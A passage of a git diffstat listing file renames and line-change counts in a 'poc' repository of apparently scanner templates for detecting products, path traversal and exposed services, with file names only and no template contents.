poc/detect/celebrus-detect.yaml | 38 + poc/detect/centreon-detect-875.yaml | 24 - poc/detect/centreon-detect.yaml | 13 +- poc/detect/cisco-implant-detect.yaml | 51 + poc/detect/citrix-adc-gateway-detect-982.yaml | 13 +- poc/detect/citrix-honeypot-detect.yaml | 40 + poc/detect/citrix-vpn-detect-986.yaml | 14 +- poc/detect/clamav-detect.yaml | 31 + poc/detect/cname-service-detection-1032.yaml | 40 + poc/detect/cockpit-detect-1125.yaml | 31 +- ...ect-1126.yaml => cockpit-detect-1127.yaml} | 0 poc/detect/compalex-panel-detect.yaml | 44 - poc/detect/confluence-detect-1186.yaml | 41 + poc/detect/confluence-detect-1187.yaml | 3 +- poc/detect/confluence-detect-1188.yaml | 41 - .../conpot-siemens-honeypot-detect.yaml | 32 + poc/detect/contentkeeper-detect-1201.yaml | 31 - poc/detect/contentkeeper-detect-1203.yaml | 32 + poc/detect/contentkeeper-detect.yaml | 14 +- poc/detect/cowrie-ssh-honeypot-detect.yaml | 36 + ...detect.yaml => craft-cms-detect-1247.yaml} | 0 poc/detect/craft-cms-detect-1248.yaml | 8 +- poc/detect/craftercms-detect.yaml | 36 + poc/detect/crush-ftp-detect-1271.yaml | 40 +- poc/detect/crush-ftp-detect-1272.yaml | 21 - poc/detect/crush-ftp-detect.yaml | 40 +- ...detect.yaml => csrfguard-detect-1290.yaml} | 0 poc/detect/csrfguard-detect-1291.yaml | 72 - .../custom-datadump-source-code-detect.yaml | 3 +- poc/detect/darkstat-detect-6767.yaml | 16 +- poc/detect/daybyday-detect-6772.yaml | 24 - poc/detect/daybyday-detect.yaml | 13 +- poc/detect/defacement-detect.yaml | 416 + poc/detect/default-detect-generic-6838.yaml | 11 +- poc/detect/default-detect-generic-6839.yaml | 22 - poc/detect/dell-idrac6-detect-6919.yaml | 7 +- poc/detect/dell-idrac6-detect.yaml | 25 + poc/detect/dell-idrac9-detect-6937.yaml | 36 - poc/detect/dell-idrac9-detect-6939.yaml | 40 - .../detect-addpac-voip-gateway-6963.yaml | 30 + .../detect-addpac-voip-gateway-6965.yaml | 31 - poc/detect/detect-addpac-voip-gateway.yaml | 39 + poc/detect/detect-dangling-cname.yaml | 34 + poc/detect/detect-dns-over-https-6969.yaml | 33 - poc/detect/detect-jabber-xmpp-6974.yaml | 24 - poc/detect/detect-jabber-xmpp.yaml | 23 +- poc/detect/detect-rsyncd-6979.yaml | 28 + poc/detect/detect-rsyncd-6980.yaml | 28 - poc/detect/detect-rsyncd-6982.yaml | 27 - poc/detect/detect-rsyncd.yaml | 3 +- ...ct-sentry.yaml => detect-sentry-6983.yaml} | 0 poc/detect/detect-sentry-6985.yaml | 21 - poc/detect/dionaea-ftp-honeypot-detect.yaml | 32 + poc/detect/dionaea-http-honeypot-detect.yaml | 40 + poc/detect/dionaea-mqtt-honeypot-detect.yaml | 32 + poc/detect/dionaea-mysql-honeypot-detect.yaml | 34 + poc/detect/dionaea-smb-honeypot-detect.yaml | 31 + poc/detect/dns-waf-detect-7054.yaml | 171 - poc/detect/dns-waf-detect.yaml | 59 + poc/detect/dolibarr-detect-7069.yaml | 25 + poc/detect/dolibarr-detect-7071.yaml | 50 +- poc/detect/dwr-index-detect-7134.yaml | 7 +- poc/detect/dwr-index-detect-7136.yaml | 4 - poc/detect/ec2-detection-7161.yaml | 3 + poc/detect/ec2-detection-7162.yaml | 18 + ...detection-7163.yaml => ec2-detection.yaml} | 0 poc/detect/eg-manager-detect-7183.yaml | 25 - poc/detect/eg-manager-detect-7184.yaml | 7 +- .../elasticsearch-sql-client-detect-7190.yaml | 12 +- ...l => elasticsearch-sql-client-detect.yaml} | 0 poc/detect/electron-version-detect.yaml | 12 +- poc/detect/elfinder-detect-7202.yaml | 15 +- poc/detect/elfinder-detect.yaml | 21 - poc/detect/epson-access-detect-7236.yaml | 32 + poc/detect/epson-access-detect.yaml | 14 +- poc/detect/epson-web-control-detect-7242.yaml | 10 +- poc/detect/epson-web-control-detect.yaml | 29 - poc/detect/erxes-detect.yaml | 28 + poc/detect/fanruanoa-detect-7391.yaml | 12 +- ...detect-7392.yaml => fanruanoa-detect.yaml} | 0 poc/detect/fatpipe-mpvpn-detect-7437.yaml | 31 - poc/detect/fatpipe-mpvpn-detect.yaml | 13 +- poc/detect/fatpipe-warp-detect-7439.yaml | 31 + poc/detect/fatpipe-warp-detect.yaml | 13 +- poc/detect/favicon-detection-7441.yaml | 2026 - poc/detect/favicon-detection-7443.yaml | 615 +- poc/detect/favicon-detection-7444.yaml | 2562 - poc/detect/favicon-detection-7446.yaml | 2034 + poc/detect/favicon-detection.yaml | 530 +- poc/detect/finger-detect.yaml | 31 + ...ct-7494.yaml => firebase-detect-7495.yaml} | 0 poc/detect/firebase-detect-7496.yaml | 17 + poc/detect/form-detection.yaml | 29 + poc/detect/gaspot-honeypot-detect.yaml | 30 + poc/detect/getsimple-cms-detect-7615.yaml | 9 +- poc/detect/getsimple-cms-detect.yaml | 24 + poc/detect/gitbook-detect-7624.yaml | 31 +- poc/detect/gitbook-detect.yaml | 20 - poc/detect/github-enterprise-detect-7649.yaml | 17 +- poc/detect/github-enterprise-detect-7650.yaml | 19 +- poc/detect/gitlab-detect-7672.yaml | 6 + poc/detect/gnu-inetutils-ftpd-detect.yaml | 30 + poc/detect/gopher-detect.yaml | 27 + poc/detect/grafana-detect-7807.yaml | 2 +- poc/detect/grafana-detect-7809.yaml | 23 - poc/detect/graphql-detect-7829.yaml | 68 + poc/detect/graphql-detect-7832.yaml | 159 +- poc/detect/grav-cms-detect-7842.yaml | 3 +- poc/detect/grav-cms-detect-7843.yaml | 27 - poc/detect/grav-cms-detect-7844.yaml | 23 - poc/detect/gunicorn-detect-7862.yaml | 13 +- poc/detect/gunicorn-detect-7864.yaml | 7 +- poc/detect/hanwang-detect-7881.yaml | 14 +- poc/detect/hanwang-detect.yaml | 23 - poc/detect/harbor-detect.yaml | 40 + poc/detect/herokuapp-detect-7938.yaml | 19 - poc/detect/herokuapp-detect.yaml | 9 +- poc/detect/hikvision-detect.yaml | 39 + poc/detect/hikvision-detection-7954.yaml | 8 +- poc/detect/hikvision-detection.yaml | 6 +- ...t-8005.yaml => hp-blade-admin-detect.yaml} | 0 poc/detect/hp-device-info-detect-8009.yaml | 22 + poc/detect/hp-device-info-detect-8010.yaml | 35 - poc/detect/hp-device-info-detect.yaml | 18 +- poc/detect/hp-media-vault-detect-8031.yaml | 28 + poc/detect/hp-media-vault-detect.yaml | 25 - .../iis-errorpage-detection-all-lang.yaml | 16 +- poc/detect/ilo-detect-8155.yaml | 6 +- poc/detect/ilo-detect-8156.yaml | 37 - .../{ilo-detect-8154.yaml => ilo-detect.yaml} | 0 poc/detect/imap-detect.yaml | 33 + poc/detect/itop-detect-8201.yaml | 5 - poc/detect/jaspersoft-detect-8220.yaml | 16 + poc/detect/java-rmi-detect-8227.yaml | 17 - poc/detect/java-rmi-detect-8228.yaml | 6 +- poc/detect/java-rmi-detect.yaml | 28 + poc/detect/jboss-detect-8237.yaml | 34 + poc/detect/jboss-detect.yaml | 22 - poc/detect/jeecg-boot-detect-8248.yaml | 29 + poc/detect/jeecg-boot-detect.yaml | 22 - poc/detect/jeedom-detect-8249.yaml | 19 - poc/detect/jeedom-detect-8251.yaml | 24 + poc/detect/jeedom-detect.yaml | 15 +- poc/detect/jellyfin-detect-8257.yaml | 30 + poc/detect/jellyfin-detect-8259.yaml | 31 - poc/detect/jenkins-detect.yaml | 46 +- poc/detect/jira-detect-8314.yaml | 22 +- poc/detect/jira-detect-8316.yaml | 14 - poc/detect/kevinlab-device-detect-8461.yaml | 2 +- poc/detect/kevinlab-device-detect.yaml | 26 - poc/detect/kibana-detect-8483.yaml | 21 + poc/detect/kibana-detect-8484.yaml | 22 - poc/detect/kong-detect-8499.yaml | 21 - poc/detect/kong-detect-8500.yaml | 20 +- poc/detect/kong-detect-8501.yaml | 8 +- poc/detect/leostream-detection.yaml | 17 +- poc/detect/leostream-detection.yml | 17 + poc/detect/liferay-portal-detect-8622.yaml | 6 +- poc/detect/liferay-portal-detect-8626.yaml | 23 + poc/detect/linkerd-badrule-detect-8629.yaml | 38 + poc/detect/linkerd-badrule-detect-8630.yaml | 7 +- poc/detect/linkerd-detect-8633.yaml | 13 +- poc/detect/linkerd-service-detect-8634.yaml | 28 + poc/detect/linkerd-service-detect.yaml | 7 +- poc/detect/linkerd-ssrf-detect-8637.yaml | 14 +- poc/detect/linkerd-ssrf-detect-8639.yaml | 3 +- poc/detect/log4jshell-detect.yaml | 5 - ...etect-8661.yaml => lucee-detect-8659.yaml} | 0 poc/detect/lucee-detect-8660.yaml | 5 - poc/detect/magento-detect-8704.yaml | 28 - poc/detect/magento-detect-8707.yaml | 30 + poc/detect/magmi-detect-8715.yaml | 29 - poc/detect/magmi-detect-8716.yaml | 3 - poc/detect/maian-cart-detect-8719.yaml | 21 + poc/detect/maian-cart-detect.yaml | 14 - poc/detect/mailoney-honeypot-detect.yaml | 30 + poc/detect/meilisearch-detect.yaml | 29 + ...microsoft-exchange-server-detect-8851.yaml | 32 + .../microsoft-exchange-server-detect.yaml | 11 +- poc/detect/microweber-detect-8863.yaml | 30 - poc/detect/microweber-detect.yaml | 23 + poc/detect/mikrotik-ftp-server-detect.yaml | 32 + poc/detect/minio-console-detect-8884.yaml | 24 + poc/detect/minio-console-detect.yaml | 18 +- poc/detect/moinmoin-detect-8916.yaml | 30 + poc/detect/moinmoin-detect-8917.yaml | 9 +- poc/detect/moinmoin-detect.yaml | 30 + poc/detect/mongodb-detect-8919.yaml | 3 +- poc/detect/mongodb-detect-8920.yaml | 20 + poc/detect/mongodb-detect.yaml | 33 + poc/detect/monstracms-detect.yaml | 41 + poc/detect/moveit-detect.yaml | 37 - poc/detect/moveit-sftp-detect.yaml | 31 + poc/detect/moveit-transfer-detect.yaml | 34 + poc/detect/mrtg-detect-8958.yaml | 16 +- poc/detect/msmq-detect.yaml | 35 + poc/detect/mx-service-detector-8974.yaml | 79 + poc/detect/mysql-detect.yaml | 32 + .../netdata-dashboard-detected-9022.yaml | 4 - poc/detect/network-camera-detect.yaml | 11 +- poc/detect/nextcloud-detect-9080.yaml | 48 + poc/detect/nextcloud-detect.yaml | 23 - poc/detect/oauth2-detect.yaml | 23 + poc/detect/oidc-detect-9217.yaml | 29 + poc/detect/oidc-detect.yaml | 21 - poc/detect/oipm-detect-9221.yaml | 22 - poc/detect/oipm-detect-9222.yaml | 14 + ...ect.yaml => olivetti-crf-detect-9243.yaml} | 0 poc/detect/olivetti-crf-detect-9244.yaml | 25 - ...en-virtualization-manager-detect-9325.yaml | 13 +- ...en-virtualization-manager-detect-9326.yaml | 37 + poc/detect/openam-detection-9257.yaml | 54 +- poc/detect/openam-detection.yaml | 57 +- poc/detect/opencast-detect-9265.yaml | 10 +- ...-detect-9263.yaml => opencast-detect.yaml} | 0 poc/detect/openemr-detect-9273.yaml | 3 +- poc/detect/opensis-detect-9314.yaml | 36 - poc/detect/openssh-detect.yaml | 36 + poc/detect/openx-detect.yaml | 5 + poc/detect/oracle-dbass-detect-9351.yaml | 3 + poc/detect/oracle-dbass-detect.yaml | 18 + .../owasp-juice-shop-detected-9416.yaml | 4 +- ...ml => owasp-juice-shop-detected-9418.yaml} | 0 poc/detect/pega-detect-9475.yaml | 5 +- poc/detect/pega-detect.yaml | 24 + poc/detect/pgsql-version-detect.yaml | 48 + poc/detect/phpcollab-detect-9501.yaml | 25 - poc/detect/phpcollab-detect.yaml | 4 + poc/detect/pi-hole-detect-9581.yaml | 21 + poc/detect/pi-hole-detect-9582.yaml | 22 - poc/detect/pi-hole-detect-9583.yaml | 4 - poc/detect/piwigo-detect.yaml | 30 + poc/detect/plone-cms-detect-9606.yaml | 2 +- poc/detect/plone-cms-detect.yaml | 23 - poc/detect/pop3-detect.yaml | 34 + poc/detect/privatebin-detect.yaml | 38 + poc/detect/proftpd-server-detect.yaml | 31 + .../prometheus-exporter-detect-9674.yaml | 26 - .../prometheus-exporter-detect-9676.yaml | 28 + poc/detect/prometheus-exporter-detect.yaml | 3 +- poc/detect/prtg-detect-9704.yaml | 1 + poc/detect/prtg-detect-9706.yaml | 32 - .../puppet-node-manager-detect-9720.yaml | 27 - poc/detect/puppet-node-manager-detect.yaml | 20 + poc/detect/puppetdb-detect-9717.yaml | 40 - poc/detect/puppetserver-detect-9722.yaml | 40 + poc/detect/rabbitmq-detect.yaml | 32 + poc/detect/rdp-detect-9839.yaml | 80 + poc/detect/rdp-detect-9840.yaml | 55 - poc/detect/rdp-detect.yaml | 87 + poc/detect/redash-detection.yaml | 31 +- poc/detect/redash-detection.yml | 18 + ...or-9849.yaml => redcap-detector-9850.yaml} | 0 poc/detect/redcap-detector.yaml | 26 + poc/detect/redmine-cli-detect-9853.yaml | 22 - poc/detect/redmine-cli-detect-9856.yaml | 4 - poc/detect/rhymix-cms-detect-9877.yaml | 23 - poc/detect/rhymix-cms-detect-9878.yaml | 22 + poc/detect/rhymix-cms-detect-9879.yaml | 8 +- poc/detect/rpcbind-portmapper-detect.yaml | 31 + poc/detect/rseenet-detect-9916.yaml | 31 - poc/detect/rseenet-detect.yaml | 23 + poc/detect/rsyncd-service-detect.yaml | 37 + poc/detect/rtsp-detect.yaml | 34 + poc/detect/s3-detect-9965.yaml | 3 - poc/detect/sage-detect-9977.yaml | 24 + poc/detect/sage-detect.yaml | 5 - poc/detect/samba-detect-9989.yaml | 25 + poc/detect/samba-detect-9990.yaml | 17 - poc/detect/samsung-printer-detect.yaml | 22 +- poc/detect/sap-netweaver-detect-10044.yaml | 30 + poc/detect/sap-netweaver-detect-10047.yaml | 30 - poc/detect/sceditor-detect-10094.yaml | 28 + poc/detect/sceditor-detect.yaml | 23 - poc/detect/secmail-detect-10111.yaml | 4 +- poc/detect/secmail-detect-10112.yaml | 4 +- poc/detect/securityspy-detect.yaml | 16 +- ...t-10129.yaml => seeddms-detect-10131.yaml} | 0 poc/detect/shiro-detect-10195.yaml | 11 +- poc/detect/shiro-detect-10196.yaml | 19 - poc/detect/shopware-detect-10211.yaml | 28 - poc/detect/shopware-detect-10212.yaml | 8 +- poc/detect/simplesamlphp-detect.yaml | 31 + poc/detect/sitemap-detect.yaml | 21 +- poc/detect/smartstore-detect-10333.yaml | 5 +- poc/detect/smartstore-detect-10334.yaml | 8 +- poc/detect/smb-os-detect.yaml | 159 + poc/detect/smb-v1-detection-10336.yaml | 3 +- poc/detect/smb-version-detect.yaml | 34 + poc/detect/snare-honeypot-detect.yaml | 38 + ... => solarwinds-servuftp-detect-10362.yaml} | 0 poc/detect/solarwinds-servuftp-detect.yaml | 18 +- poc/detect/sparklighter-detect.yaml | 36 + poc/detect/sshd-dropbear-detect.yaml | 32 + poc/detect/strapi-cms-detect-10538.yaml | 37 +- poc/detect/teamspeak3-detect.yaml | 28 + poc/detect/tech-detect-10675.yaml | 3722 - poc/detect/tech-detect-10677.yaml | 591 +- .../telerik-dialoghandler-detect-10687.yaml | 36 - .../telerik-dialoghandler-detect-10689.yaml | 48 - .../telerik-fileupload-detect-10692.yaml | 6 +- .../telerik-fileupload-detect-10693.yaml | 5 +- poc/detect/telnet-detect.yaml | 29 + poc/detect/terraform-detect-10706.yaml | 12 +- poc/detect/terraform-detect-10708.yaml | 22 - poc/detect/tftp-detect.yaml | 34 + poc/detect/thinkcmf-detection-10717.yaml | 20 + poc/detect/thinkcmf-detection-10719.yaml | 25 + poc/detect/thinkcmf-detection.yaml | 23 +- poc/detect/totemomail-detect.yaml | 4 - poc/detect/tpot-honeypot-detect.yaml | 31 + ...10825.yaml => trace-axd-detect-10826.yaml} | 0 poc/detect/virtual-ema-detect-11024.yaml | 2 +- .../vmware-authentication-daemon-detect.yaml | 34 + poc/detect/vnc-detect-11061.yaml | 22 + poc/detect/vnc-detect-11062.yaml | 26 - poc/detect/vnc-detect.yaml | 8 +- poc/detect/vnc-service-detect.yaml | 31 + poc/detect/waf-detect-11088.yaml | 275 +- ...{waf-detect-11086.yaml => waf-detect.yaml} | 0 ...104.yaml => wamp-xdebug-detect-11103.yaml} | 0 poc/detect/web-ftp-detect-11136.yaml | 28 - poc/detect/web-ftp-detect-11138.yaml | 5 +- poc/detect/web-suite-detect-11168.yaml | 7 +- poc/detect/weblogic-detect-11143.yaml | 29 + poc/detect/weblogic-detect-11144.yaml | 2 +- poc/detect/weblogic-iiop-detect-11148.yaml | 4 - poc/detect/weblogic-iiop-detect.yaml | 15 +- ...151.yaml => weblogic-t3-detect-11153.yaml} | 0 poc/detect/weblogic-t3-detect.yaml | 62 +- .../werkzeug-debugger-detect-11198.yaml | 7 +- poc/detect/wing-ftp-detect.yaml | 27 + poc/detect/wondercms-detect-11223.yaml | 21 + poc/detect/wondercms-detect.yaml | 24 + poc/detect/wordpress-gotmls-detect-11280.yaml | 30 - poc/detect/wordpress-gotmls-detect.yaml | 20 +- .../wordpress-plugins-detect-11297.yaml | 15 +- .../wordpress-plugins-detect-11298.yaml | 8 +- poc/detect/wordpress-themes-detect-11316.yaml | 17 +- poc/detect/worksites-detection-11386.yaml | 5 +- poc/detect/worksites-detection.yaml | 17 + poc/detect/wp-xmlrpc-pingback-detection.yaml | 11 +- poc/detect/wso2-apimanager-detect-11638.yaml | 19 + poc/detect/xlight-ftp-service-detect.yaml | 33 + poc/detect/yapi-detect-11721.yaml | 28 - poc/detect/yapi-detect.yaml | 19 + poc/detect/zm-system-log-detect-11833.yaml | 21 + poc/detect/zm-system-log-detect-11834.yaml | 25 - poc/detect/zm-system-log-detect.yaml | 9 +- .../carel-bacnet-gateway-traversal-858.yaml | 29 - .../carel-bacnet-gateway-traversal.yaml | 27 + .../digitalrebar-traversal-6997.yaml | 16 +- .../digitalrebar-traversal.yaml | 33 + ...filedownload-directory-traversal-7171.yaml | 2 + ...logy-filedownload-directory-traversal.yaml | 21 - ...ngframework-directory-traversal-7174.yaml} | 0 ...y-springframework-directory-traversal.yaml | 21 + .../elfinder-path-traversal-7203.yaml | 11 +- .../erp-nc-directory-traversal-7245.yaml | 20 +- .../erp-nc-directory-traversal-7248.yaml | 13 +- .../finereport-path-traversal-7476.yaml | 9 +- .../flir-path-traversal-7519.yaml | 8 +- .../flir-path-traversal-7521.yaml | 20 + .../flir-path-traversal-7523.yaml | 7 +- .../kingdee-eas-directory-traversal-8489.yaml | 9 +- .../kingdee-eas-directory-traversal.yaml | 36 - .../natshell-path-traversal-9005.yaml | 19 +- .../natshell-path-traversal-9006.yaml | 19 + .../natshell-path-traversal.yaml | 22 + ...inx-merge-slashes-path-traversal-9105.yaml | 34 + .../nginx-merge-slashes-path-traversal.yaml | 28 - .../oa-tongda-path-traversal-9178.yaml | 33 - .../pmb-directory-traversal-9610.yaml | 7 +- .../pmb-directory-traversal-9614.yaml | 14 +- .../tpshop-directory-traversal-10822.yaml | 20 + .../tpshop-directory-traversal-10823.yaml | 12 +- .../wooyun-path-traversal-11229.yaml | 26 - ....yaml => wooyun-path-traversal-11232.yaml} | 0 poc/docker/amazon-docker-config-280.yaml | 28 + .../amazon-docker-config-disclosure-278.yaml | 18 - .../amazon-docker-config-disclosure.yaml | 12 +- poc/docker/amazon-docker-config.yaml | 18 - .../aws-ecs-container-agent-tasks-640.yaml | 5 +- .../aws-ecs-container-agent-tasks-641.yaml | 25 + poc/docker/docker-compose-config-7057.yaml | 2 +- poc/docker/docker-compose-config-7059.yaml | 41 + poc/docker/dockercfg-config.yaml | 26 - .../dockerfile-hidden-disclosure-7061.yaml | 26 + .../dockerfile-hidden-disclosure-7063.yaml | 3 +- poc/docker/exposed-dockerd.yaml | 27 + .../kubernetes-enterprise-manager-8528.yaml | 21 + .../kubernetes-enterprise-manager-8529.yaml | 21 - .../kubernetes-enterprise-manager-8530.yaml | 6 +- poc/docker/kubernetes-enterprise-manager.yaml | 18 +- ...ernetes-kustomization-disclosure-8532.yaml | 3 +- poc/docker/kubernetes-mirantis-8540.yaml | 27 + poc/docker/kubernetes-pods-8543.yaml | 34 + poc/docker/kubernetes-pods-8545.yaml | 29 + .../kubernetes-resource-report-8547.yaml | 12 +- .../kubernetes-resource-report-8549.yaml | 8 +- ...-unauth(1).yaml => kubernetes-unauth.yaml} | 0 poc/docker/kubernetes-version-8551.yaml | 18 - ...sion.yaml => kubernetes-version-8552.yaml} | 0 poc/docker/kubernetes-version-8553.yaml | 17 +- ...00.yaml => misconfigured-docker-8902.yaml} | 0 poc/drupal/drupal-install-7107.yaml | 26 + poc/drupal/drupal-jsonapi-user-listing.yaml | 40 + poc/drupal/drupal-user-enum-ajax.yaml | 45 + .../drupal-user-enum-redirect-7112.yaml | 14 +- .../drupal-user-enum-redirect-7114.yaml | 33 - .../drupal-user-enum-redirect-7115.yaml | 31 - poc/elk/elasticsearch-7193.yaml | 22 - poc/elk/elasticsearch-7194.yaml | 37 + poc/elk/elasticsearch-7197.yaml | 25 +- .../elasticsearch-sql-client-detect-7190.yaml | 12 +- ...l => elasticsearch-sql-client-detect.yaml} | 0 poc/elk/exposed-kibana-7319.yaml | 5 +- poc/elk/exposed-kibana-7320.yaml | 30 + poc/elk/kibana-detect-8483.yaml | 21 + poc/elk/kibana-detect-8484.yaml | 22 - poc/elk/kibana-panel-8486.yaml | 26 + poc/elk/kibana-panel-8487.yaml | 26 +- poc/exposed/active-admin-exposure-39.yaml | 27 + poc/exposed/active-admin-exposure-43.yaml | 18 - .../adobe-connect-username-exposure-100.yaml | 27 - .../amazon-docker-config-disclosure-278.yaml | 18 - .../amazon-docker-config-disclosure.yaml | 12 +- ...> android-debug-database-exposed-312.yaml} | 0 .../android-debug-database-exposed-314.yaml | 47 +- .../ansible-config-disclosure-326.yaml | 28 + poc/exposed/ansible-config-disclosure.yaml | 16 - poc/exposed/ansible-tower-exposure-331.yaml | 37 + poc/exposed/ansible-tower-exposure-332.yaml | 19 - poc/exposed/appspec-yml-disclosure-529.yaml | 28 + ...e-528.yaml => appspec-yml-disclosure.yaml} | 0 poc/exposed/avtech-dvr-exposure-614.yaml | 5 +- poc/exposed/avtech-dvr-exposure-616.yaml | 27 + poc/exposed/avtech-dvr-exposure-617.yaml | 16 +- .../axiom-digitalocean-key-exposure-666.yaml | 41 + .../axiom-digitalocean-key-exposure-667.yaml | 18 +- .../axiom-digitalocean-key-exposure-668.yaml | 9 +- .../beward-ipcamera-disclosure-717.yaml | 37 - .../caucho-resin-info-disclosure-871.yaml | 27 + ...yaml => caucho-resin-info-disclosure.yaml} | 0 poc/exposed/cisco-meraki-exposure-944.yaml | 25 - poc/exposed/cisco-meraki-exposure-946.yaml | 26 + poc/exposed/cisco-meraki-exposure.yaml | 18 +- poc/exposed/cisco-smi-exposure-970.yaml | 14 +- poc/exposed/cisco-smi-exposure.yaml | 11 +- .../clockwork-dashboard-exposure-1014.yaml | 31 - poc/exposed/clockwork-dashboard-exposure.yaml | 61 +- .../coremail-config-disclosure-1214.yaml | 31 - .../coremail-config-disclosure-1216.yaml | 23 + poc/exposed/credential-exposure-1249.yaml | 720 + poc/exposed/credential-exposure-file.yaml | 4148 +- poc/exposed/credentials-disclosure-1255.yaml | 715 + poc/exposed/credentials-disclosure-1256.yaml | 708 - poc/exposed/django-debug-exposure-7029.yaml | 7 +- poc/exposed/django-debug-exposure-7031.yaml | 24 + .../dockerfile-hidden-disclosure-7061.yaml | 26 + .../dockerfile-hidden-disclosure-7063.yaml | 3 +- poc/exposed/druid-console-exposure-7092.yaml | 2 +- poc/exposed/druid-console-exposure.yaml | 18 +- poc/exposed/dwsync-exposure-7139.yaml | 14 +- poc/exposed/dwsync-exposure.yaml | 26 + poc/exposed/env-exposed.yaml | 2 +- poc/exposed/exposed-adb-7280.yaml | 7 +- poc/exposed/exposed-adb-7282.yaml | 28 + poc/exposed/exposed-adb.yaml | 34 + poc/exposed/exposed-alps-spring-7283.yaml | 29 + poc/exposed/exposed-alps-spring.yaml | 13 +- .../exposed-authentication-asmx-7287.yaml | 20 +- .../exposed-authentication-asmx-7288.yaml | 7 +- poc/exposed/exposed-bitkeeper-7291.yaml | 9 +- poc/exposed/exposed-bitkeeper-7292.yaml | 28 - poc/exposed/exposed-darcs-7297.yaml | 24 - poc/exposed/exposed-dockerd.yaml | 27 + poc/exposed/exposed-gitignore-7305.yaml | 3 +- poc/exposed/exposed-glances-api-7307.yaml | 6 +- poc/exposed/exposed-glances-api-7308.yaml | 6 +- poc/exposed/exposed-glances-api-7309.yaml | 27 - poc/exposed/exposed-hg-7312.yaml | 33 + .../exposed-jquery-file-upload-7313.yaml | 21 + .../exposed-jquery-file-upload-7315.yaml | 6 +- poc/exposed/exposed-jquery-file-upload.yaml | 22 + poc/exposed/exposed-kibana-7319.yaml | 5 +- poc/exposed/exposed-kibana-7320.yaml | 30 + ...l.yaml => exposed-mysql-initial-7322.yaml} | 0 poc/exposed/exposed-mysql-initial-7323.yaml | 17 +- poc/exposed/exposed-nomad-7328.yaml | 31 + poc/exposed/exposed-redis-7335.yaml | 12 +- poc/exposed/exposed-redis-7339.yaml | 12 +- poc/exposed/exposed-service-now-7340.yaml | 10 +- poc/exposed/exposed-service-now-7342.yaml | 27 - poc/exposed/exposed-sharepoint-list-7345.yaml | 28 - poc/exposed/exposed-sharepoint-list-7347.yaml | 25 +- poc/exposed/exposed-springboot.yaml | 51 - poc/exposed/exposed-sqlite-manager-7349.yaml | 3 +- poc/exposed/exposed-sqlite-manager-7350.yaml | 24 + poc/exposed/exposed-svn-7353.yaml | 37 - poc/exposed/exposed-swagger.yaml | 85 - poc/exposed/exposed-webalizer-7358.yaml | 18 - poc/exposed/exposed-webalizer-7360.yaml | 18 + poc/exposed/exposed-webalizer.yaml | 4 +- poc/exposed/exposed-zookeeper-7362.yaml | 2 +- poc/exposed/exposed-zookeeper-7363.yaml | 9 +- poc/exposed/exposed-zookeeper-7365.yaml | 18 + poc/exposed/exposed-zookeeper.yaml | 27 + .../fanruanoa2012-disclosure-7390.yaml | 8 +- poc/exposed/fanruanoa2012-disclosure.yaml | 32 + .../firebase-config-exposure-7485.yaml | 3 +- .../firebase-config-exposure-7487.yaml | 17 +- poc/exposed/flink-exposure-7509.yaml | 17 - poc/exposed/flink-exposure-7511.yaml | 17 + poc/exposed/flink-exposure.yaml | 4 +- .../git-credentials-disclosure-7641.yaml | 41 + .../github-workflows-disclosure-7664.yaml | 44 + .../github-workflows-disclosure-7666.yaml | 51 - .../glpi-telemetry-disclosure-7739.yaml | 25 - poc/exposed/glpi-telemetry-disclosure.yaml | 50 +- poc/exposed/gogs-install-exposure-7755.yaml | 21 + poc/exposed/gogs-install-exposure-7757.yaml | 8 +- .../hp-ilo-serial-key-disclosure-8024.yaml | 3 +- .../iis-internal-ip-disclosure-8149.yaml | 40 + .../iis-internal-ip-disclosure-8150.yaml | 29 + poc/exposed/iotawatt-app-exposure-8186.yaml | 24 - poc/exposed/iotawatt-app-exposure.yaml | 28 - poc/exposed/java-melody-exposed-8221.yaml | 2 +- ...sed.yaml => java-melody-exposed-8222.yaml} | 0 .../jfrog-unauth-build-exposed-8301.yaml | 3 +- ...l => jfrog-unauth-build-exposed-8302.yaml} | 0 ...ernetes-kustomization-disclosure-8532.yaml | 3 +- poc/exposed/kyan-credential-exposure.yaml | 22 +- poc/exposed/lvmeng-uts-disclosure-8680.yaml | 15 +- poc/exposed/lvmeng-uts-disclosure-8681.yaml | 12 +- ...i.yaml => magento-2-exposed-api-8687.yaml} | 0 poc/exposed/magento-2-exposed-api-8688.yaml | 45 - poc/exposed/magento-config-disclosure.yaml | 50 + poc/exposed/monitorix-exposure-8933.yaml | 28 - poc/exposed/netgear-router-exposure-9031.yaml | 10 +- poc/exposed/netgear-router-exposure.yaml | 36 - poc/exposed/opcache-status-exposure-9255.yaml | 32 + poc/exposed/opcache-status-exposure.yaml | 19 - .../openbmcs-secret-disclosure-9260.yaml | 36 - poc/exposed/openbmcs-secret-disclosure.yaml | 24 + .../oracle-ebs-sqllog-disclosure-9369.yaml | 18 +- .../oracle-ebs-sqllog-disclosure-9370.yaml | 5 - .../oracle-ebs-sqllog-disclosure-9371.yaml | 30 + ...e-9490.yaml => pgadmin-exposure-9488.yaml} | 0 poc/exposed/pgadmin-exposure.yaml | 14 +- poc/exposed/php-user-ini-disclosure-9559.yaml | 27 - poc/exposed/php-user-ini-disclosure-9560.yaml | 28 + poc/exposed/php-user-ini-disclosure.yaml | 12 +- .../pmb-local-file-disclosure-9617.yaml | 12 +- .../pmb-local-file-disclosure-9620.yaml | 27 - .../prometheus-exposed-panel-9682.yaml | 16 + .../putty-private-key-disclosure-9731.yaml | 22 + .../putty-private-key-disclosure-9732.yaml | 26 - poc/exposed/putty-private-key-disclosure.yaml | 28 +- ...38.yaml => pyproject-disclosure-9736.yaml} | 0 poc/exposed/pyproject-disclosure.yaml | 23 - poc/exposed/qihang-media-disclosure-9762.yaml | 21 +- poc/exposed/qihang-media-disclosure-9765.yaml | 9 +- .../rails-secret-token-disclosure-9809.yaml | 22 - .../rails-secret-token-disclosure-9810.yaml | 23 + .../rails-secret-token-disclosure.yaml | 10 +- poc/exposed/rocketmq-console-exposure.yaml | 20 +- .../ruijie-information-disclosure-9931.yaml | 21 +- ...> ruijie-information-disclosure-9932.yaml} | 0 poc/exposed/selenium-exposure-10137.yaml | 32 - poc/exposed/selenium-exposure-10138.yaml | 30 + poc/exposed/selenium-exposure.yaml | 16 +- poc/exposed/sensitive-storage-exposure.yaml | 30 - poc/exposed/setup-page-exposure.yaml | 6 +- .../snyk-ignore-file-disclosure-10348.yaml | 20 - .../snyk-ignore-file-disclosure-10349.yaml | 9 +- poc/exposed/thanos-prometheus-exposure.yaml | 31 + poc/exposed/travis-ci-disclosure.yaml | 26 + ...aml => 